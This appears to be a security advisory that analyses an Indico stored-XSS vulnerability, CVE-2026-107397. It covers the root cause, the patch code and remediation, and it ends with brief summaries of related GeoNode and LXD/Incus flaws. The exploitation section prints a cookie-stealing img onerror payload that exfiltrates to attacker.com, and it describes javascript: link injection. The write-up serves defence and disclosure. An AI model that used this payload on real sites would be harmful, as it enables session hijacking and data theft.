Oct 9, 2026·7 min read·3 visits
Vulnerabilities in Indico's conflict resolution interface and custom link fields allowed authenticated users to inject arbitrary HTML/JavaScript (Stored XSS). Fixed in version 3.3.13.
A technical analysis of CVE-2026-107397, a stored Cross-Site Scripting (XSS) vulnerability in Indico's collaborative notes editor and custom link generation fields. Prior to version 3.3.13, Marshmallow serialization schemas omitted HTML sanitization during conflict resolution, and form validators failed to enforce strict URI schemes, enabling authenticated low-privilege attackers to execute arbitrary JavaScript.
Indico is an open-source event management web application developed at CERN, heavily utilized for managing conferences, meetings, and workshops. The platform features a real-time collaborative tool for taking event minutes and notes, allowing speakers and organizers to document presentations concurrently. This collaborative mechanism processes user inputs and presents conflicting changes to users through a dedicated merge UI when concurrent updates occur.
The vulnerability designated as CVE-2026-107397 consists of two stored Cross-Site Scripting (XSS) attack vectors. The primary vector resides in the event minutes conflict resolution UI, where the system fails to sanitize draft note revisions during serialization. The secondary vector is located within the custom URL link fields for attachments and menu items, which accept arbitrary URI schemes.
Exploitation of the minutes vulnerability requires a low-privilege authenticated user (such as a speaker or contributor with edit permissions on event minutes) to craft an HTML payload. When a concurrent edit is made by a victim (such as a session manager), Indico forces the rendering of a side-by-side diff containing the unsanitized markup. The script execution occurs within the context of the victim's session, leading to privilege escalation or session compromise.
The primary root cause of the collaborative notes vulnerability is located within the Python serialization layer of Indico's backend modules. Indico implements Marshmallow schemas (EventNoteSchema and CompiledEventNoteSchema) to serialize EventNoteRevision database objects into JSON representations. When concurrent modifications occur, the application serves these drafts to the frontend conflict resolution modal, but prior to version 3.3.13, these schemas lacked a sanitization pass.
Because the backend serialized the raw html field directly from the database without filtering out malicious elements, the client-side React component rendered the remote draft diff as raw HTML. This represents a failure to perform defense-in-depth sanitization at the API boundary, relying implicitly on the assumption that only sanitized HTML would reach the conflict interface. A malicious actor with access to the note editor can directly input dangerous DOM elements.
The secondary root cause lies in the application's URL validation logic across several WTForms form configurations, such as the attachment link form and menu link form. The fields were defined using WTForms' basic URLField without applying strict scheme-level validation or the default WTForms URL validator. Consequently, the input pipeline accepted arbitrary URI schemes, including javascript: and data: protocols, which execute active content directly within the application's origin upon user interaction.
To understand the flaw and its remediation, we examine the modifications introduced in the patch commit d4c8c7127176efa4cb53c64119ca8ee2b551be18. The changes primarily focus on implementing strict post-serialization sanitization inside the Marshmallow schemas and adding validation constraints to the URL fields.
In indico/modules/events/notes/schemas.py, the patch introduces a post-dump hook that forces sanitization on both note-related schemas. This ensures that any data output by the schemas is automatically cleansed using sanitize_html():
# AFTER PATCH - indico/modules/events/notes/schemas.py
from marshmallow import post_dump
from indico.util.string import sanitize_html
class EventNoteSchema(mm.SQLAlchemyAutoSchema):
class Meta:
model = EventNoteRevision
fields = ('id', 'html', 'source', 'render_mode', 'note_author', 'modified_dt')
note_author = fields.String(attribute='user.full_name')
@post_dump
def _sanitize_html(self, data, **kwargs):
# Strictly filter out script tags and event handlers before serialization
data['html'] = sanitize_html(data['html'])
return dataAdditionally, in indico/web/forms/fields/simple.py, the validator was modified to strictly enforce the protocol scheme of custom links. This prevents protocol-relative or non-web protocols such as javascript: from passing through form submission:
# AFTER PATCH - indico/web/forms/fields/simple.py
def pre_validate(self, form):
if not all(x.get('url') for x in self.data):
raise ValidationError(_('URL is required'))
# Enforce strict protocol whitelisting
if not all(x['url'].startswith(('http://', 'https://')) for x in self.data):
raise ValidationError(_('Only URLs starting with https:// (or http://) are allowed'))This combined approach ensures that the application operates on clean data even if input-level validation is bypassed or if legacy, unsanitized notes exist in the database. The validation of custom links at the form level effectively mitigates the URI-scheme injection vector.
Exploitation of the collaborative editor vulnerability relies on triggering a data race condition in the edit history of an event note. The following diagram illustrates the sequence of events required for an attacker to target an event organizer or session administrator:
First, the attacker logs into Indico with an account that has editing rights to a specific session's minutes. The attacker inputs an HTML payload designed to exfiltrate anti-CSRF tokens or administrative session identifiers. The payload is crafted using an event handler that does not require direct interaction, such as:
<img src="x" onerror="fetch('https://attacker.com/log?cookie=' + encodeURIComponent(document.cookie))">
Second, the attacker triggers a conflict. This is achieved by having the attacker modify the note in one transaction while keeping a concurrent edit session open. Alternatively, the attacker waits for a legitimate editor (the victim) to modify the same minutes block. When both changes are submitted, the backend detects a collision and serves the raw, unsanitized drafts to the victim's browser through the conflict resolution API endpoint.
Third, when the victim's browser renders the conflict resolution interface, it processes the raw, unsanitized HTML diff. The browser interprets the <img onerror=...> tag, experiences a loading failure for the dummy source, and immediately executes the JavaScript payload under the session context of the victim.
The impact of successful exploitation of CVE-2026-107397 varies depending on the targeted user's role. If an attacker successfully targets a high-privilege session manager or platform administrator, they can execute arbitrary administrative actions. This includes altering event configurations, downloading private registration data, or modifying system settings.
Because the executing JavaScript runs under the context of the victim's authenticated session, the browser automatically attaches cookies and session authorization headers (such as CSRF protection headers) to any API requests initiated by the script. If the platform is configured without strict Content Security Policy (CSP) headers or HTTP-only cookies, the attacker's script can read the session identifier and exfiltrate it to a remote logging server, achieving full session hijacking.
The second vector involving custom menu links allows attackers to conduct phishing and browser-level actions. An attacker can plant a javascript: URL in an event link that triggers whenever a visitor clicks on the menu. While the attack complexity for this vector is lower (it does not require a concurrent edit race), it does require user interaction. The overall risk is classified as Medium, reflecting the high complexity of triggering concurrent edits versus the ease of exploiting the custom link vector.
The primary and definitive remediation for CVE-2026-107397 is upgrading the Indico installation to version 3.3.13 or later. This release addresses both root causes by sanitizing serialized note schemas and restricting custom links to standard HTTP and HTTPS protocols. The patch is complete and resolves the variant vectors within the core modules of Indico.
To perform the upgrade on a standard production installation, administrators should utilize the Python package manager pip within the application's virtual environment:
pip install --upgrade indico
systemctl restart indico-celery.service uwsgi.serviceFor deployments where immediate upgrading is not possible, organizations should implement defensive-in-depth mitigations. First, verify that Indico's built-in Content Security Policy (CSP) is enabled. A strong CSP that restricts script-src and disallows unsafe-inline will prevent the execution of inline event handlers (like onerror) used in the notes exploit. Second, use a Web Application Firewall (WAF) to inspect POST requests to the /event/<id>/notes/ and /event/<id>/manage/layout/ paths for common XSS patterns.
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Indico CERN | < 3.3.13 | 3.3.13 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network |
| CVSS v3.1 Score | 4.4 (Medium) |
| Exploit Status | None (No Public PoC) |
| Impact | Stored Cross-Site Scripting (XSS) |
| CISA KEV Status | Not Listed |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CVE-2026-55649 is a stored Cross-Site Scripting (XSS) vulnerability in GeoNode versions prior to 5.0.3. The flaw exists because document abstract metadata fields are ingested via the metadata management pipeline and stored in the backend database without HTML sanitization or input neutralization. An authenticated attacker with privileges to create or edit document metadata can inject arbitrary HTML and JavaScript payloads into these fields. When another user, such as an administrator, views the affected document page or catalog listing, the unencoded payload is rendered into the Document Object Model (DOM) and executes within the victim's browser session.
CVE-2026-55622 (GHSA-qx75-2p3r-pwm5) is an improper access control vulnerability (CWE-284) in Canonical LXD and LXC Incus (tracked as GHSA-c9f5-j9c3-mhrg). In multi-tenant deployments utilizing project-based isolation, the REST API handler for instance creation via POST /1.0/instances verifies that the authenticated user has authorization in the destination project specified by the query parameter, but fails to verify whether the user holds read or view permissions for the source instance when executing a copy operation across projects. Consequently, an authenticated client restricted to a single project can clone instances or snapshots from unauthorized projects into their own project, resulting in complete disclosure of the target instance filesystem and embedded credentials.
An authorization bypass vulnerability in Canonical LXD (tracked as GHSA-7mr3-28h5-m5vx and CVE-2026-55621, and as GHSA-64f3-v33m-w89f in Linux Containers Incus) allows an authenticated user with restricted project access to copy custom storage volumes and volume snapshots from unauthorized projects. The flaw resides in the storagePoolVolumesPost REST API handler, which verifies permissions on the destination project but fails to check whether the caller holds view entitlements on the source project or volume specified in the request body.
A missing authorization and configuration validation vulnerability in Canonical LXD and LXC Incus allows authenticated users within restricted projects to bypass project security boundaries. By smuggling prohibited low-level configuration directives (such as raw.lxc or raw.qemu) inside instance snapshots or backup archives, an attacker can restore these configurations within a restricted project and execute arbitrary commands with root privileges on the underlying host operating system.
A symbolic link traversal vulnerability (CWE-59) in Canonical LXD and Linux Containers Incus allows an authenticated user with image import permissions to read and write arbitrary files on the host filesystem. During image archive unpacking, the daemon fails to reject top-level symbolic links for the instance `templates` directory. Subsequent requests to the instance template API endpoints follow this symbolic link outside the instance storage directory with root privileges, enabling complete host compromise.
CVE-2026-12411 is a broken access control vulnerability in the DevLXD interface of Canonical LXD versions 6.6 through 6.8. The flaw resides in the devLXDInstancePatchHandler component, which fails to verify storage volume ownership when an instance attaches a new disk device via the /dev/lxd guest socket. When the security.devlxd.management.volumes configuration option is enabled, an untrusted guest or DevLXD identity can issue a crafted HTTP PATCH request referencing another tenant's custom storage volume. The LXD host daemon subsequently mounts the target volume into the requesting guest, permitting unauthorized cross-tenant read and write operations.